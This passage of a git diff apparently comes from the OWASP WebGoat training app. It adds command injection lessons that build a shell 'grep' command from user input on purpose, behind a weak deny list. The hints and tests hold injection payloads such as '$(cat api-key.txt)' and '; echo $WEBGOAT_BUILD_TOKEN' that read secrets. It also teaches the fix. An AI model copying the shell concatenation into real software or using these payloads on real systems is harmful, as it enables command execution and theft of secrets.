MediaType.APPLICATION_JSON_VALUE) + public AttackResult submitKey( + @CurrentUser WebGoatUser user, @RequestParam("apikey") String submittedKey) { + + service.ensureInitialized(user); + + if (submittedKey == null || submittedKey.isBlank()) { + return failed(this).feedback("commandinjection.task4.failure.blank").build(); + } + + if (service.validateApiKey(user, submittedKey)) { + return success(this).feedback("commandinjection.task4.success").build(); + } + + return failed(this).feedback("commandinjection.task4.failure.invalid").build(); + } + + @Override + public void initialize(WebGoatUser user) { + service.initialize(user); + } +} + diff --git a/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask4Search.java b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask4Search.java new file mode 100644 index 00000000000..95aee1e922c --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask4Search.java @@ -0,0 +1,45 @@ +/* + * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors + * SPDX-License-Identifier: GPL-2.0-or-later + */ +package org.owasp.webgoat.lessons.commandinjection; + +import org.owasp.webgoat.container.CurrentUser; +import org.owasp.webgoat.container.lessons.Initializable; +import org.owasp.webgoat.container.users.WebGoatUser; +import org.springframework.http.HttpStatus; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.server.ResponseStatusException; + +@RestController +public class CommandInjectionTask4Search implements Initializable { + + private final CommandInjectionTask4Service service; + + public CommandInjectionTask4Search(CommandInjectionTask4Service service) { + this.service = service; + } + + @PostMapping( + value = "/CommandInjection/task4/search", + consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE, + produces = MediaType.APPLICATION_JSON_VALUE) + public CommandInjectionTask4Service.SearchResponse search( + @CurrentUser WebGoatUser user, @RequestParam("title") String title) { + + if (title == null || title.isBlank()) { + throw new ResponseStatusException( + HttpStatus.BAD_REQUEST, "commandinjection.task4.failure.payload"); + } + return service.search(user, title); + } + + @Override + public void initialize(WebGoatUser user) { + service.initialize(user); + } +} + diff --git a/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask4Service.java b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask4Service.java new file mode 100644 index 00000000000..a8bfe53641b --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask4Service.java @@ -0,0 +1,141 @@ +/* + * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors + * SPDX-License-Identifier: GPL-2.0-or-later + */ +package org.owasp.webgoat.lessons.commandinjection; + +import static java.nio.charset.StandardCharsets.UTF_8; + +import java.io.File; +import java.io.IOException; +import java.nio.file.Files; +import java.util.List; +import java.util.Map; +import java.util.UUID; +import java.util.concurrent.ConcurrentHashMap; +import org.owasp.webgoat.container.lessons.Initializable; +import org.owasp.webgoat.container.users.WebGoatUser; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Service; + +@Service +public class CommandInjectionTask4Service implements Initializable { + + private static final List DENY_LIST = List.of(";", "&&", "|"); + + private final String webGoatHomeDirectory; + private final Map userApiKeys = new ConcurrentHashMap<>(); + private final Map userDirectories = new ConcurrentHashMap<>(); + private final CommandInjectionCatService catService; + private final CommandExecutionService commandExecutionService; + + public CommandInjectionTask4Service( + @Value("${webgoat.user.directory}") String webGoatHomeDirectory, + CommandInjectionCatService catService, + CommandExecutionService commandExecutionService) { + this.webGoatHomeDirectory = webGoatHomeDirectory; + this.catService = catService; + this.commandExecutionService = commandExecutionService; + } + + public SearchResponse search(WebGoatUser user, String title) { + ensureInitialized(user); + SanitizedPayload payload = sanitizeTitle(title); + String command = buildCommand(payload.sanitizedTitle()); + CommandExecutionService.CommandExecutionResult executionResult = + commandExecutionService.execute(userDirectories.get(user.getUsername()), command); + String console = buildConsole(command, executionResult, payload); + List cats = + catService.extractMatches(executionResult.output()).stream() + .map(cat -> new CatView(cat.name(), cat.description(), cat.dataUri())) + .toList(); + return new SearchResponse( + command, + console, + executionResult.output(), + executionResult.timedOut(), + executionResult.executionError(), + cats); + } + + public boolean validateApiKey(WebGoatUser user, String submittedKey) { + ensureInitialized(user); + String expectedKey = userApiKeys.get(user.getUsername()); + return expectedKey != null && expectedKey.equals(submittedKey.trim()); + } + + public void ensureInitialized(WebGoatUser user) { + userApiKeys.computeIfAbsent(user.getUsername(), name -> createKeyForUser(user)); + } + + @Override + public void initialize(WebGoatUser user) { + userApiKeys.remove(user.getUsername()); + userDirectories.remove(user.getUsername()); + ensureInitialized(user); + } + + private SanitizedPayload sanitizeTitle(String title) { + if (title == null) { + return new SanitizedPayload("", false); + } + String sanitized = title; + boolean filtered = false; + for (String token : DENY_LIST) { + if (sanitized.contains(token)) { + filtered = true; + sanitized = sanitized.replace(token, " "); + } + } + return new SanitizedPayload(sanitized.trim(), filtered); + } + + private String buildConsole( + String command, + CommandExecutionService.CommandExecutionResult result, + SanitizedPayload payload) { + StringBuilder console = new StringBuilder(); + if (payload.filtered()) { + console.append("[Filter] Removed characters: ;, &&, |\n"); + } + console.append("Command: ").append(command).append("\n"); + console.append(result.output()); + if (result.timedOut()) { + console.append("\n[Process terminated after timeout]\n"); + } + if (result.executionError() != null) { + console.append("\n[Execution error] ").append(result.executionError()); + } + return console.toString(); + } + + private String createKeyForUser(WebGoatUser user) { + String apiKey = "API_KEY=" + UUID.randomUUID(); + File userDir = + catService.prepareGallery(webGoatHomeDirectory, "command-injection/task4", user.getUsername()); + File keyFile = new File(userDir, "api-key.txt"); + try { + Files.writeString(keyFile.toPath(), apiKey, UTF_8); + userDirectories.put(user.getUsername(), userDir); + } catch (IOException e) { + throw new IllegalStateException("Unable to create api-key file", e); + } + return apiKey; + } + + private String buildCommand(String title) { + return "grep " + (title == null ? "" : title.trim()) + " images/*.txt"; + } + + public record SearchResponse( + String command, + String console, + String stdout, + boolean timedOut, + String executionError, + List cats) {} + + public record CatView(String name, String description, String dataUri) {} + + private record SanitizedPayload(String sanitizedTitle, boolean filtered) {} +} diff --git a/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask5Evaluation.java b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask5Evaluation.java new file mode 100644 index 00000000000..b45bbe1ad2c --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask5Evaluation.java @@ -0,0 +1,62 @@ +/* + * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors + * SPDX-License-Identifier: GPL-2.0-or-later + */ +package org.owasp.webgoat.lessons.commandinjection; + +import org.owasp.webgoat.container.CurrentUser; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.assignments.AttackResultBuilder; +import org.owasp.webgoat.container.lessons.Initializable; +import org.owasp.webgoat.container.users.WebGoatUser; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({ + "commandinjection.task5.hint1", + "commandinjection.task5.hint2", + "commandinjection.task5.hint3", + "commandinjection.task5.hint4" +}) +public class CommandInjectionTask5Evaluation implements AssignmentEndpoint, Initializable { + + private final CommandInjectionTask5Service service; + + public CommandInjectionTask5Evaluation(CommandInjectionTask5Service service) { + this.service = service; + } + + @PostMapping( + value = "/CommandInjection/task5/evaluate", + consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE, + produces = MediaType.APPLICATION_JSON_VALUE) + public AttackResult evaluate( + @CurrentUser WebGoatUser user, + @RequestParam("mode") String mode, + @RequestParam(value = "allowlist", defaultValue = "false") boolean allowlist, + @RequestParam(value = "sanitiser", defaultValue = "false") boolean sanitiser) { + + CommandInjectionTask5Service.Configuration configuration = + new CommandInjectionTask5Service.Configuration( + CommandInjectionTask5Service.ExecutionMode.valueOf(mode), allowlist, sanitiser); + + CommandInjectionTask5Service.EvaluationResult result = service.evaluate(configuration); + + if (result.success()) { + return AttackResultBuilder.success(this) + .feedback(result.messageKey()) + .output(result.remediationHint()) + .build(); + } + + return AttackResultBuilder.failed(this) + .feedback(result.messageKey()) + .output(result.remediationHint()) + .build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask5Service.java b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask5Service.java new file mode 100644 index 00000000000..4dfe9e18d40 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask5Service.java @@ -0,0 +1,92 @@ +/* + * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors + * SPDX-License-Identifier: GPL-2.0-or-later + */ +package org.owasp.webgoat.lessons.commandinjection; + +import java.util.Set; +import org.springframework.stereotype.Service; + +@Service +public class CommandInjectionTask5Service { + + private static final Set ALLOWLIST = Set.of("hostname", "uptime"); + + public EvaluationResult evaluate(Configuration configuration) { + boolean statusAllowed = allowsStatus(configuration); + boolean injectionBlocked = blocksInjection(configuration); + boolean usesShell = configuration.executionMode() == ExecutionMode.SHELL; + + if (statusAllowed && injectionBlocked && !usesShell) { + return EvaluationResult.success( + "commandinjection.task5.success", "commandinjection.task5.remediation"); + } + + return EvaluationResult.failure( + buildFailureMessage(statusAllowed, injectionBlocked, usesShell), configuration); + } + + private boolean allowsStatus(Configuration configuration) { + return switch (configuration.executionMode()) { + case SHELL -> + configuration.sanitiserEnabled() + && configuration.allowlistEnabled() + && ALLOWLIST.contains("hostname"); + case DIRECT_PROCESS, ALLOWLIST_ONLY -> + configuration.allowlistEnabled() && ALLOWLIST.contains("hostname"); + }; + } + + private boolean blocksInjection(Configuration configuration) { + return switch (configuration.executionMode()) { + case SHELL -> configuration.sanitiserEnabled() && configuration.allowlistEnabled(); + case DIRECT_PROCESS -> configuration.allowlistEnabled(); + case ALLOWLIST_ONLY -> true; + }; + } + + private String buildFailureMessage( + boolean statusAllowed, boolean injectionBlocked, boolean usesShell) { + if (!statusAllowed && !injectionBlocked) { + return "commandinjection.task5.failure.both"; + } + if (usesShell && statusAllowed && injectionBlocked) { + return "commandinjection.task5.failure.shell"; + } + if (!statusAllowed) { + return "commandinjection.task5.failure.status"; + } + if (!injectionBlocked) { + return "commandinjection.task5.failure.injection"; + } + return "commandinjection.task5.failure.generic"; + } + + public record Configuration( + ExecutionMode executionMode, boolean allowlistEnabled, boolean sanitiserEnabled) {} + + public enum ExecutionMode { + SHELL, + DIRECT_PROCESS, + ALLOWLIST_ONLY + } + + public record EvaluationResult(boolean success, String messageKey, String remediationHint) { + + public static EvaluationResult success(String messageKey, String remediationHint) { + return new EvaluationResult(true, messageKey, remediationHint); + } + + public static EvaluationResult failure(String messageKey, Configuration configuration) { + String hint; + if (configuration.executionMode() == ExecutionMode.SHELL) { + hint = "commandinjection.task5.hint.shell"; + } else if (!configuration.allowlistEnabled()) { + hint = "commandinjection.task5.hint.allowlist"; + } else { + hint = "commandinjection.task5.hint.sanitiser"; + } + return new EvaluationResult(false, messageKey, hint); + } + } +} diff --git a/src/main/resources/lessons/commandinjection/documentation/CommandInjection_BestPractices.adoc b/src/main/resources/lessons/commandinjection/documentation/CommandInjection_BestPractices.adoc new file mode 100644 index 00000000000..013d92aa00c --- /dev/null +++ b/src/main/resources/lessons/commandinjection/documentation/CommandInjection_BestPractices.adoc @@ -0,0 +1,14 @@ +=== Wrapping up: hardening command execution + +The cat gallery walkthrough showed how quickly a helper script becomes an RCE primitive. +Carry these lessons into production environments: + +- Avoid shells when you need to execute commands. +Use `ProcessBuilder` equivalent directly. +- Enforce a strict allowlist of diagnostics. +Hardened code should reject anything outside the approved set. +- Sanitize and validate user input even with an allowlist—defense in depth still matters. +- Execute commands under least-privilege accounts and isolate temporary working directories per user/session. +- Log command invocations and failures for detection/response, but avoid leaking secrets. + +Pair these controls with application level monitoring, and you will turn “diagnostics console” into a maintainable, auditable feature rather than an unintentional backdoor. diff --git a/src/main/resources/lessons/commandinjection/documentation/CommandInjection_Task2.adoc b/src/main/resources/lessons/commandinjection/documentation/CommandInjection_Task2.adoc index 3d154fe1f55..97bc42588a8 100644 --- a/src/main/resources/lessons/commandinjection/documentation/CommandInjection_Task2.adoc +++ b/src/main/resources/lessons/commandinjection/documentation/CommandInjection_Task2.adoc @@ -1,13 +1,14 @@ === Chain commands to leak system info The diagnostics console concatenates your input with a shell command. Try appending a new -command (for example, with `;` or `&&`) that prints the system build token. The backend will -show you the raw output. +command (for example, with `;` or `&&`) that prints the environment variable +`WEBGOAT_BUILD_TOKEN`. The backend will show you the raw output. Steps: . Use the console to run a normal diagnostic. -. Append a chained command to execute `uname -a`, `ver`, or an equivalent. +. Append a chained command that echoes the token (e.g., `; echo $WEBGOAT_BUILD_TOKEN` on Linux or + `&& echo %WEBGOAT_BUILD_TOKEN%` on Windows). . Copy the leaked build token from the output and submit it below. If you can chain commands, you can run anything the service account can. diff --git a/src/main/resources/lessons/commandinjection/documentation/CommandInjection_Task3.adoc b/src/main/resources/lessons/commandinjection/documentation/CommandInjection_Task3.adoc index f06709e1c43..ac22e5ae3f6 100644 --- a/src/main/resources/lessons/commandinjection/documentation/CommandInjection_Task3.adoc +++ b/src/main/resources/lessons/commandinjection/documentation/CommandInjection_Task3.adoc @@ -5,12 +5,4 @@ The cat gallery looks innocuous: when you type a name in the search box it simpl Unfortunately the search term is injected into the shell command verbatim. Add a separator (`;`, `&&`) and the shell will happily execute whatever else you append under the service account. -|=== -|OS |Location - -|`operatingSystem:os[]` -|`webGoatTempDir:temppath[]/command-injection/username:user[]/flag.txt` - -|=== - Attackers follow this exact pattern to dump environment variables, API keys, and other secrets once they uncover a command injection primitive. diff --git a/src/main/resources/lessons/commandinjection/documentation/CommandInjection_Task4.adoc b/src/main/resources/lessons/commandinjection/documentation/CommandInjection_Task4.adoc new file mode 100644 index 00000000000..c6cc69f9897 --- /dev/null +++ b/src/main/resources/lessons/commandinjection/documentation/CommandInjection_Task4.adoc @@ -0,0 +1,12 @@ +=== Filter Bypass – Leak the API Key + +Operations noticed people chaining commands and added a quick denylist: the server now strips +`;`, `&&`, and `|` from your cat search before sending it to the shell. The diags console still runs +`grep $title images/*`, so you need a separator that survives. + +At startup the lesson stores an API key for you in +`command-injection/task4//api-key.txt`. Bypass the filter, read the file, and enter the key +below to finish the task. + +The filter only scrubs a few obvious characters—construct a payload using substitution syntax (for +example, `$(...)`) or inject a newline to run your command. diff --git a/src/main/resources/lessons/commandinjection/documentation/CommandInjection_Task5.adoc b/src/main/resources/lessons/commandinjection/documentation/CommandInjection_Task5.adoc new file mode 100644 index 00000000000..eb210c4d0de --- /dev/null +++ b/src/main/resources/lessons/commandinjection/documentation/CommandInjection_Task5.adoc @@ -0,0 +1,19 @@ +=== Sandbox the diagnostics + +You now control the diagnostics console. The team proposed three switches: + +*Execution mode* + +- Shell – legacy behaviour that spawns `/bin/sh -c` / `cmd.exe /c` +- Direct process – use `ProcessBuilder` without a shell +- Allowlist only – run commands strictly from a fixed list + +*Command allowlist* – enables the predefined safe commands (hostname, uptime). + +*Input sanitiser* – strips the obvious separators. + +Find the combination that allows the legitimate status check to run while preventing the command +injections from earlier tasks. Submit your configuration to verify the fix. + +Secure remediation relies on removing the shell and enforcing a tight allowlist. A deny list and +sanitisers are insufficient by themselves. diff --git a/src/main/resources/lessons/commandinjection/html/CommandInjection.html b/src/main/resources/lessons/commandinjection/html/CommandInjection.html index 85ee6737ae7..c53e777c4cf 100644 --- a/src/main/resources/lessons/commandinjection/html/CommandInjection.html +++ b/src/main/resources/lessons/commandinjection/html/CommandInjection.html @@ -66,7 +66,7 @@ th:replace="~{doc:lessons/commandinjection/documentation/CommandInjection_Safety.adoc}">
-
+
- +
@@ -140,7 +140,12 @@ th:replace="~{doc:lessons/commandinjection/documentation/CommandInjection_Task3.adoc}">
- +
@@ -156,7 +161,7 @@
-
+
+
+
+
+ +
+ +
+ + +
+
+ +
+
+
+
+ +
+
+ +
+ +
+
+ +
+
+
+
+
+ +
+
+
+
+
+
+ + +
+
+ +
+
+ +
+ +
+
+
+
+
+ +
+
+
+ diff --git a/src/main/resources/lessons/commandinjection/i18n/WebGoatLabels.properties b/src/main/resources/lessons/commandinjection/i18n/WebGoatLabels.properties index bbbd31070d4..77b05efd357 100644 --- a/src/main/resources/lessons/commandinjection/i18n/WebGoatLabels.properties +++ b/src/main/resources/lessons/commandinjection/i18n/WebGoatLabels.properties @@ -8,7 +8,7 @@ commandinjection.safety.hint1=This lesson runs shell commands. If possible use t commandinjection.safety.success=Thanks for acknowledging the risk. Continue to the diagnostics console. commandinjection.safety.failure=Please type the exact acknowledgement before proceeding. commandinjection.task2.hint1=Start with the same diagnostic command the service expects, then chain your payload (e.g., using ; or &&). -commandinjection.task2.hint2=All fields start empty—supply the base command, your chained payload, and the token you discover in the output. +commandinjection.task2.hint2=Chain a command that echoes WEBGOAT_BUILD_TOKEN (e.g., ; echo $WEBGOAT_BUILD_TOKEN or && echo %WEBGOAT_BUILD_TOKEN%) and submit the value it prints. commandinjection.task2.success=Great! You chained commands and leaked the token. commandinjection.task2.failure.blank=Provide the build token from the command output. commandinjection.task2.failure.mismatch=That token does not match the leaked value. Try again. @@ -20,3 +20,22 @@ commandinjection.task3.success=Flag captured! You now have proof the shell execu commandinjection.task3.failure.blank=Fetch the flag token from the output before submitting. commandinjection.task3.failure.invalid=That token does not match the flag. Try executing the cat command again. commandinjection.task3.failure.payload=Enter a cat name (or your exploit) before running the search. +commandinjection.task4.hint1=The app now strips ;, &&, and | from your payload before running grep, but it still shells out. +commandinjection.task4.hint2=Use a different separator: command substitution like $(cat api-key.txt) or a newline survives the filter. +commandinjection.task4.hint3=Try command substitution (e.g., $(cat api-key.txt)) or even a newline to bypass the denylist. +commandinjection.task4.hint4=Remember the working directory already contains api-key.txt, so reference it directly and paste the full API_KEY=… value into the form. +commandinjection.task4.success=Great! The denylist did not stop you from leaking the API key. +commandinjection.task4.failure.blank=Provide the API key you retrieved before submitting. +commandinjection.task4.failure.invalid=That key does not match the stored value. Double-check your payload. +commandinjection.task4.failure.payload=Enter a cat name or exploit payload before running the search. +commandinjection.task5.hint1=Shell execution keeps the same attack surface look for an option that avoids /bin/sh entirely. +commandinjection.task5.hint2=Start by enabling the command allowlist so the diagnostics command still runs. +commandinjection.task5.hint3=Sanitising is a nice defense in depth, but the real fix is removing the shell and enforcing the allowlist. +commandinjection.task5.hint4=Combine direct process execution (or allowlist-only) with the allowlist so status works but injection fails. +commandinjection.task5.success=Configuration hardened! Removing the shell and enforcing the allowlist blocks injection while diagnostics still run. +commandinjection.task5.failure.both=This setup blocks the status command and still allows the exploit. +commandinjection.task5.failure.status=The diagnostics command no longer works. Try enabling the allowlist. +commandinjection.task5.failure.injection=Injection still succeeds. Remove the shell and enforce the allowlist. +commandinjection.task5.failure.generic=That configuration is not secure yet. +commandinjection.task5.failure.shell=Close! You still rely on the shell to switch to direct process or allowlist-only execution. +commandinjection.task5.remediation=Prefer a shell-less runner with a strict allowlist so only approved diagnostics execute. diff --git a/src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask2Test.java b/src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask2Test.java index 60637b5768f..9fae62562ff 100644 --- a/src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask2Test.java +++ b/src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask2Test.java @@ -4,6 +4,7 @@ */ package org.owasp.webgoat.lessons.commandinjection; +import static java.util.regex.Pattern.*; import static org.assertj.core.api.Assertions.assertThat; import org.junit.jupiter.api.BeforeEach; @@ -36,10 +37,20 @@ void shouldFailWhenTokenMissing() { @Test void shouldSucceedWhenTokenMatches() { - String output = task.simulateExecution(task.buildCommand("uname -a", "")); - String token = output.substring(output.indexOf('=') + 1).trim(); - - AttackResult result = task.run("uname -a", "", token); + boolean isWindows = System.getProperty("os.name", "").toLowerCase().contains("win"); + String payload = isWindows ? "&& echo %WEBGOAT_BUILD_TOKEN%" : "; echo $WEBGOAT_BUILD_TOKEN"; + + AttackResult failedAttempt = task.run("", payload, ""); + String output = failedAttempt.getOutput(); + var matcher = + compile("[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}") + .matcher(output); + if (!matcher.find()) { + throw new IllegalStateException("Token not present in output: " + output); + } + String token = matcher.group(); + + AttackResult result = task.run("", payload, token); assertThat(result.assignmentSolved()).isTrue(); assertThat(result.getFeedback()).isEqualTo("commandinjection.task2.success"); diff --git a/src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Test.java b/src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Test.java index 8cffeb2a0f1..59eaeaf7076 100644 --- a/src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Test.java +++ b/src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Test.java @@ -24,7 +24,11 @@ class CommandInjectionTask3Test { @BeforeEach void setUp() { - service = new CommandInjectionTask3Service("./target/webgoat-test"); + service = + new CommandInjectionTask3Service( + "./target/webgoat-test", + new CommandInjectionCatService(), + new CommandExecutionService()); searchController = new CommandInjectionTask3Search(service); flagController = new CommandInjectionTask3Flag(service); user = new WebGoatUser("alice", "password"); diff --git a/src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask4Test.java b/src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask4Test.java new file mode 100644 index 00000000000..72fc4d260da --- /dev/null +++ b/src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask4Test.java @@ -0,0 +1,69 @@ +/* + * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors + * SPDX-License-Identifier: GPL-2.0-or-later + */ +package org.owasp.webgoat.lessons.commandinjection; + +import static org.assertj.core.api.Assertions.assertThat; +import static org.assertj.core.api.Assertions.assertThatThrownBy; + +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.users.WebGoatUser; +import org.springframework.web.server.ResponseStatusException; + +class CommandInjectionTask4Test { + + private CommandInjectionTask4Service service; + private CommandInjectionTask4Search searchController; + private CommandInjectionTask4Key keyController; + private WebGoatUser user; + + @BeforeEach + void setUp() { + service = + new CommandInjectionTask4Service( + "./target/webgoat-test", + new CommandInjectionCatService(), + new CommandExecutionService()); + searchController = new CommandInjectionTask4Search(service); + keyController = new CommandInjectionTask4Key(service); + user = new WebGoatUser("bob", "password"); + service.initialize(user); + } + + @Test + void shouldRejectEmptyTitle() { + assertThatThrownBy(() -> searchController.search(user, "")) + .isInstanceOf(ResponseStatusException.class) + .hasMessageContaining("commandinjection.task4.failure.payload"); + } + + @Test + void shouldMentionFilterWhenBlacklistHit() { + CommandInjectionTask4Service.SearchResponse response = + searchController.search(user, "luna; cat api-key.txt"); + + assertThat(response.console()).contains("[Filter] Removed characters"); + assertThat(response.command()).doesNotContain(";").doesNotContain("&&").doesNotContain("|"); + } + + @Test + void shouldLeakApiKeyWithSubstitutionInjection() { + CommandInjectionTask4Service.SearchResponse response = + searchController.search(user, "$(cat api-key.txt >&2)"); + + String apiKey = extractApiKey(response.console()); + AttackResult result = keyController.submitKey(user, apiKey); + assertThat(result.assignmentSolved()).isTrue(); + } + + private String extractApiKey(String console) { + return console + .lines() + .filter(line -> line.startsWith("API_KEY=")) + .findFirst() + .orElseThrow(); + } +} diff --git a/src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask5ServiceTest.java b/src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask5ServiceTest.java new file mode 100644 index 00000000000..92becbc2423 --- /dev/null +++ b/src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask5ServiceTest.java @@ -0,0 +1,39 @@ +/* + * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors + * SPDX-License-Identifier: GPL-2.0-or-later + */ +package org.owasp.webgoat.lessons.commandinjection; + +import static org.assertj.core.api.Assertions.assertThat; + +import org.junit.jupiter.api.Test; + +class CommandInjectionTask5ServiceTest { + + private final CommandInjectionTask5Service service = new CommandInjectionTask5Service(); + + @Test + void shellConfigurationShouldFailEvenWithAllowlist() { + var configuration = + new CommandInjectionTask5Service.Configuration( + CommandInjectionTask5Service.ExecutionMode.SHELL, true, true); + + var result = service.evaluate(configuration); + + assertThat(result.success()).isFalse(); + assertThat(result.messageKey()).isEqualTo("commandinjection.task5.failure.shell"); + } + + @Test + void allowlistExecutionShouldSucceed() { + var configuration = + new CommandInjectionTask5Service.Configuration( + CommandInjectionTask5Service.ExecutionMode.ALLOWLIST_ONLY, true, true); + + var result = service.evaluate(configuration); + + assertThat(result.success()).isTrue(); + assertThat(result.messageKey()).isEqualTo("commandinjection.task5.success"); + } +} + From f6e73bc1e3308d1fbb7c21ee0f6e16c369409bc5 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Wed, 29 Oct 2025 13:42:35 +0100 Subject: [PATCH 5/7] clean up --- ...CommandInjectionLessonIntegrationTest.java | 34 +++++++++---------- 1 file changed, 17 insertions(+), 17 deletions(-) diff --git a/src/it/java/org/owasp/webgoat/integration/CommandInjectionLessonIntegrationTest.java b/src/it/java/org/owasp/webgoat/integration/CommandInjectionLessonIntegrationTest.java index fbc6328a41d..136f373a46a 100644 --- a/src/it/java/org/owasp/webgoat/integration/CommandInjectionLessonIntegrationTest.java +++ b/src/it/java/org/owasp/webgoat/integration/CommandInjectionLessonIntegrationTest.java @@ -24,12 +24,16 @@ void solveCommandInjectionLesson() { acknowledgeSafetyGate(); solveTask1(); - String leakedToken = leakTask2Token(); + + var leakedToken = leakTask2Token(); submitTask2Token(leakedToken); - String flag = captureTask3Flag(); + + var flag = captureTask3Flag(); submitTask3Flag(flag); - String apiKey = captureTask4ApiKey(); + + var apiKey = captureTask4ApiKey(); submitTask4Key(apiKey); + configureTask5Remediation(); checkResults("CommandInjection"); @@ -51,8 +55,8 @@ private void acknowledgeSafetyGate() { } private void solveTask1() { - boolean isWindows = isWindowsHost(); - String expectedCommand = + var isWindows = isWindowsHost(); + var expectedCommand = (isWindows ? "cmd.exe /c ping -n 1 " : "/bin/sh -c ping -c 1 ") + "localhost"; assertThat( @@ -85,8 +89,9 @@ private String leakTask2Token() { .extract() .path("output"); - java.util.regex.Matcher matcher = - java.util.regex.Pattern.compile("[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}") + var matcher = + Pattern.compile( + "[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}") .matcher(output); if (!matcher.find()) { throw new IllegalStateException("Token not present in Task 2 output"); @@ -112,7 +117,7 @@ private void submitTask2Token(String token) { } private String captureTask3Flag() { - JsonPath response = + var response = given() .when() .relaxedHTTPSValidation() @@ -124,15 +129,9 @@ private String captureTask3Flag() { .extract() .jsonPath(); - String console = response.getString("console"); - int start = console.indexOf("flag{"); - if (start < 0) { - throw new IllegalStateException("Flag not present in Task 3 output"); - } - int end = console.indexOf("}", start); - if (end < 0) { - throw new IllegalStateException("Flag not present in Task 3 output"); - } + var console = response.getString("console"); + var start = console.indexOf("flag{"); + var end = console.indexOf("}", start); return console.substring(start, end + 1); } @@ -203,6 +202,7 @@ private void configureTask5Remediation() { .path("lessonCompleted"), is(true)); } + private boolean isWindowsHost() { return System.getProperty("os.name", "").toLowerCase().contains("win"); } From a50420a083171e31e091163fa1a33f20fd52706e Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sun, 2 Nov 2025 21:18:57 +0100 Subject: [PATCH 6/7] formatting --- .../lessons/commandinjection/CommandInjectionCatService.java | 1 - .../lessons/commandinjection/CommandInjectionTask3Search.java | 1 - .../lessons/commandinjection/CommandInjectionTask4Key.java | 1 - .../lessons/commandinjection/CommandInjectionTask4Search.java | 1 - .../commandinjection/CommandInjectionTask5ServiceTest.java | 1 - 5 files changed, 5 deletions(-) diff --git a/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionCatService.java b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionCatService.java index 7cbde1f4cc2..8d8c2cbd31c 100644 --- a/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionCatService.java +++ b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionCatService.java @@ -147,4 +147,3 @@ private static String loadDataUri(String resourcePath) { public record CatView(String name, String description, String dataUri) {} } - diff --git a/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Search.java b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Search.java index 8fd57d0be76..37fd8c88e29 100644 --- a/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Search.java +++ b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Search.java @@ -42,4 +42,3 @@ public void initialize(WebGoatUser user) { service.initialize(user); } } - diff --git a/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask4Key.java b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask4Key.java index 97969e3b1c4..531c71cf2ad 100644 --- a/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask4Key.java +++ 